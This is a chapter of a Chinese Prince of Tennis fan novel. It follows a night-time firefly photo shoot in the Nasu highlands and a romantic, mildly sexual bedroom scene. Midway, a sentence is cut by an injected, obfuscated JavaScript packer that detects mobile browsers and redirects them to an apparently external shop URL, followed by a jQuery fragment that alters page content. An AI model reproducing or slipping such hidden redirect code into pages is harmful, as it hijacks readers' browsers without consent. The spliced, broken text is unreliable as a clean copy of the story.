100. 萤火之森
作品:《【网王】与忍足医生同居二三事》 夜色笼罩了那须高原。
四人驱车前往森林深处的萤火虫观赏区。
斋藤像个兴奋的侦察兵,拿着强光手电筒,拉着出云霁在前方探路,寻找拍摄位置。忍足和桦地默默扛着摄影器材,跟在后面。
他们踏入了一片溪流潺潺的森林边缘。
当人工光源被刻意调暗后,世界被另一种生命的光芒点亮。
成千上万点柔和的黄绿色光点在夜空中轻盈地飞舞、飘动。沿着溪流两岸的草丛、灌木丛起起落落,时明时灭。
溪水倒映着萤光,水面的波光与空中飞舞的光点交织,形成一片如梦似幻、宛若童话仙境的奇景。
万籁俱寂,唯有虫鸣。
“好美……”出云霁低声赞叹。
“真的有好多萤火虫诶!”斋藤抬起手,抓了一下,没抓到。
“这里主要是源氏萤和平家萤。”桦地难得主动开口介绍。
“源氏?平家?”斋藤好奇地问道,“萤火虫还有这种名字?是这些人养的?”
“不是养的,是跟源平合战有关。”忍足解释。
桦地点头,目光追随着飞舞的光点,“这两种萤火虫交错飞舞的景象,被视为源氏和平家武士的亡魂,在夜空中继续着未能终结的战争。”
“嗤……”
出云霁抱着手臂,看着漫天飞舞的“亡魂”,漫不经心:“问过萤火虫的意见了吗就给人家安这么个名字?”
“这群昆虫专家真是不礼貌。”
“活着的时候各自为政,死了还不是一起去黄泉见伊邪那美。”
“说不定人家在下面都凑成一桌麻将,一笑泯恩仇了,上面的人还在慷慨激昂地幻想他们在打仗。”
“不如多吃点饭来得实在。”
这煞风景又无比接地气的发言,逗乐了众人,从沉重的历史中脱身出来。
斋藤立刻开始布置场地,安排任务。
拍摄需要一个重要的道具——一盏装着活萤火虫的纸灯笼,作为“引魂灯”。
桦地放下摄影器材后,立刻行动起来。
他高大的身影在草丛中却异常灵活,蒲扇般的手小心翼翼地拂过草叶,将一只只萤火虫温柔地拢在手心。
忍足帮忙撑开灯笼罩子,桦地就将手掌里的萤光放进去。
很快,一只引魂灯亮了起来。
为了契合拍摄所需的纯净感,出云霁必须摘除佩戴的首饰,项链戒指都一股脑儿塞进忍足手里。
忍足将贵重物品收好后,伸手扶住了出云霁。她穿着和服和木屐,在山地间行动有些不便。
拍摄正式开始。
夜色中,神明少女手持一盏朦胧光芒的纸灯笼,黄绿的萤光在飞舞。一身素净和服,长发挽起,斜戴流苏,她缓步行走在昏暗的山道上。
悲悯又平静,与静谧的夜,交相辉映。
在这黑暗迷途中唯一的指引,就是手中的灯盏,微弱闪烁却坚定不灭。
几只萤火虫似乎被她吸引,轻盈地落在发间肩头,更添神圣。
萤火引魂,行走于生死交界。
忍足和桦地在旁边安静协助,调整反光板,控制环境光,只有相机快门的“咔嚓”声,和萤火虫翅膀摩擦的细微沙沙声回荡在森林边缘。
谁也没有注意到,凤凰在口袋里短暂地睁开了眼眸。
一闪而逝。
******
回到房间的那一刻,出云霁就扶着门框骂骂咧咧。
狠狠甩开了折磨一整晚的木屐,呲牙咧嘴地揉着脚踝:“啊……这反人类的设计!脚都要断了!”
“这算工伤吧!工伤!”
忍足关好房门,一把将她抱进屋里,放在化妆台前,温声安抚:“拍摄辛苦了。不过,效果真的非常惊艳。”
“神明少女,萤火之森,那须神社该找你拍宣传片,肯定比土御门穿阴阳师的衣服更有吸引力。”
被他哄了几句,出云霁才算放下脾气,脸上露出些得意的小表情。
“还是你有眼光,哼哼。”
忍足看她要卸妆休息一会,起身说,“我先去洗澡,晚点给你按按脚,放松一下。”
“嗯……”有气无力地应了一声。
房间里只剩下卸妆棉擦拭皮肤的声响,出云霁盯着镜子细细检查,不放过每一个毛孔。
女人的脸太贵了,再累也不能敷衍了事。
今日偷懒一分钟,明日后悔二十年。
不一会,手机屏幕亮起,是斋藤奈奈子。
【阿霁阿霁!今晚不要敲门找我哦!(* ̄︶ ̄)我要和桦地享受甜蜜的二人世界啦!】
看着这直白的宣言,一阵无语。
想到桦地壮硕的体格和奈奈子娇小的体型差……
山一般的男人和兔子一样的女人……
手指动了动,忍不住回了条:【……注意安全。】
回复几乎是秒到:【嘿嘿!体型差才萌啊!放心啦,我们有做措施!安心安心~】
出云霁:“……”
她刚想把手机放下,叮咚又一条。
【你们安全用品带够了吗?要不要给你们送点过去?别客气!(挑眉)】
【出来度假就是要创造浪漫回忆的啊!别害羞!勇敢一点!扑倒他!看好你哟!~】
出云霁的脸“腾”地一下烧了起来。
自从知道她和忍足的关系后,奈奈子说话的尺度简直一日千里,十头牛都拉不回来。
一言不合就上高速。
回了一个巨大的、无比清晰的“国际友好手势”表情图,出云霁用力把手机屏幕朝下扣在桌上。
眼不见为净。
不能纯洁一点吗!
什么黑的白的,在奈奈子嘴里都是黄的。
忍足从浴室出来,正好看到她气鼓鼓的模样。
“怎么了?”
“没事!”出云霁抓起自己的睡衣和洗漱包,冲进了浴室,留下忍足一脸茫然地站在原地。
完全就是有事吧。
谁惹她了?
肯定不是我。
******
等到两人都洗漱完毕,躺在床上时,气氛有些微妙。
虽然中间横亘着一个枕头作为“楚河汉界”,但第一次同床共枕的紧张感,还是在出云霁心里挥之不去。
身体僵硬地半靠在枕头上,连玩手机都有点心不在焉。
忍足倒是很平静,长臂一伸,大手轻轻捉住了她露在被子外面的脚踝。
“!”出云霁像受惊的兔子,猛地一缩,“干、干嘛?”
“不是说了帮你按摩吗?”他说得坦然,眉眼带着笑意,“放松点。”
出云霁这才想起他说过的话,紧绷的身体放松了些,把饱受摧残的脚伸了过去。
温热的掌心包裹住脚踝,恰到好处的力道,沿着经络穴位揉捏按压。
“嗯……”喟叹出声,小腿肌肉在按压下一点点松懈。
“忍足医生,你要是去做按摩师,肯定也很厉害。”
“又要我做厨师,又要我做按摩师?那我也太忙了。”
“之前不是还说做医生赚钱多吗?到底想让我做什么?嗯?”
出云霁闭着眼享受,嘴上不忘调侃,“年轻人,眼光放长远一点,不要局限自己,勇于全面开花!”
“我来给你规划一下,嗯……白天做科研,下班做大厨,周末兼职按摩师,闲暇时间打网球赛。”
“三百六十行行行出状元,起码医生,厨师,按摩师三个行业你已经是龙头了。”
“啧,主业副业要是都能客似云来,那肯定赚得盆满钵满,发家致富,指日可待啊……”
忍足被她这头头是道的“职业规划”逗得又好气又好笑,立刻起了捉弄之心。
手指突然发力,在她敏感的脚心挠了一下。
“啊——!!哈哈哈!别!!”出云霁最怕痒,尖叫一声,猛地想把脚缩回来。
“跑什么?按摩师的服务还没结束呢。”
忍足作势又要去挠她的脚心,换来出云霁使劲一缩,“我错了我错了……”
这一缩力道不小,忍足握着她的脚踝,被她这么一带,整个人重心不稳,直接被她拽得向前倒去。
“啊!”
“唔!”
两人惊呼着滚作一团。
忍足反应极快,手臂一揽,将滚到他怀里的女人牢牢扣住。
娇气的惊呼还在耳边,因为怕痒而扭动的身躯被抱了个满怀,呼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118928|192463||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
吸纠缠间,只能看到她纤长的脖颈和颤抖的睫毛。
“让你调皮……”声音哑了几分,藏着危险的意味,不等她反应,突袭她腰侧的痒痒肉。
“呀!不不不!我错了!侑士!你放手!哈哈哈……饶了我!”
出云霁在他怀里扭成一团,笑得眼泪都快出来,拼命求饶。
两人在宽大的床铺上嬉闹翻滚,枕头被子都被挤到了一边。
她撒起娇来,嗲得很,尾音微微上扬,又颤又柔。一双眼睛潋滟含波,顾盼生辉,水汪汪地看着他,又是乞求,又是讨饶。
闹着闹着,气息就变了。
忍足停下了挠痒的动作,手臂却还是牢牢圈着她,将她困在自己身下。身体紧密相贴,隔着薄薄的睡衣,彼此的体温和心跳都无处躲藏。
她因为嬉闹而微微喘息着,脸颊绯红,眼眸水润,嘴唇微张。此刻缩在他怀里,四目相对,有些想法不言而喻。
他俯下身,吻住了她。
急切、滚烫。
对于出云霁,忍足侑士一向充满了极强的占有欲。
最初追她的时候,就因占有欲爆棚而闹出过几次乌龙,以至于后来他慢慢学会把这份欲望藏在温和冷静的性子下。
只是此刻他却不藏。
每一次亲吻纠缠,都像是剖开自己内心最深处的秘密,把这份占有欲明晃晃地摆在她眼前。
不许她逃,不许她躲,不许她无视。
必须看着他,抱着他,正视他。
出云霁被这突如其来的索吻吻得晕头转向,大脑虽然空白,身体却先于意识做出了回应。
搂上他的脖子,指尖拂过他的发尾,回应着掠夺。
气氛升温,暧昧滋生。
吻变得更加疯狂,让她连呼吸的机会都没有。炽热的掌心熨帖着脊背,一点点描画身体的轮廓。
刚才的嬉闹中,睡衣早已被蹭乱,而男人的贪心也越来越重。
带着薄茧的手掌,轻而易举地从下摆滑了进去,贴上了腰后细腻柔滑的肌肤,烫得她身体一颤。
“嗯……”忍不住呜咽。
眼神迷蒙地看着近在咫尺的、带着情潮的男人,低低唤了一声:“侑士……”
太过贪恋掌心滑腻如脂的触感,爱不释手地摩挲着掌中珍宝,只觉得自己的每根手指、每个指腹都被她温柔的身躯点燃了。
直到唇瓣都有些红肿,好像一朵盛放的玫瑰时,忍足终于舍得放过她。
却也没有放过她。
再度俯下身,轻柔又缱绻的吻,细细密密地落在她的耳后、脖颈、锁骨上……
出云霁觉得自己像要烧起来了。
被吻过的的地方忍不住战栗,都是细嫩敏感的皮肤,她下意识地撇头想躲开,却被他的掌心慢慢安抚。
就像她每次炸毛生气,都会被他安抚好一样。
忍足医生精准地把握她的小脾气,也精准地掌控她的节奏。
手指揪着他的发尾,紧张又沉溺,像是被温泉水包裹了,熨帖得很,舒服得四肢百骸都软了下来。
“阿霁……”
每次在这种时候喊她的名字,忍足都含糊在喉间,配上大提琴一样低沉磁性的嗓音,仿佛“阿霁”这两个字,是世间最动人的情话。
羞得她咬紧下唇,眼尾都有些红。
他的亲吻像云一样,又绵又柔,飘飘荡荡。夹杂着她的名字,含混不清,藏在风里,藏在云里,藏在每一个日升月落。
指尖变成离了线的风筝,到处乱飞,忽上忽下,落在每一个她意想不到又并不意外的地方。
身上传来凉意,有扣子被解开的声音。
声音很微小,但是足够成为一个信号。
出云霁紧张得心跳如擂鼓。
就是今晚了……?
奈奈子那些直白的话语不受控制地钻进脑海:
“安全措施……”
“好好享受……”
脸颊烫得能煎鸡蛋,手臂却有自己的意识,牢牢缠紧了他的肩膀。忍足大约是高兴的,听见他轻笑一声,然后箍着腰的手臂更紧了些。
出云霁迷迷糊糊地想起关键问题:酒店的安全用品放在哪里来着?
床头柜吗?刚才好像没看到啊……

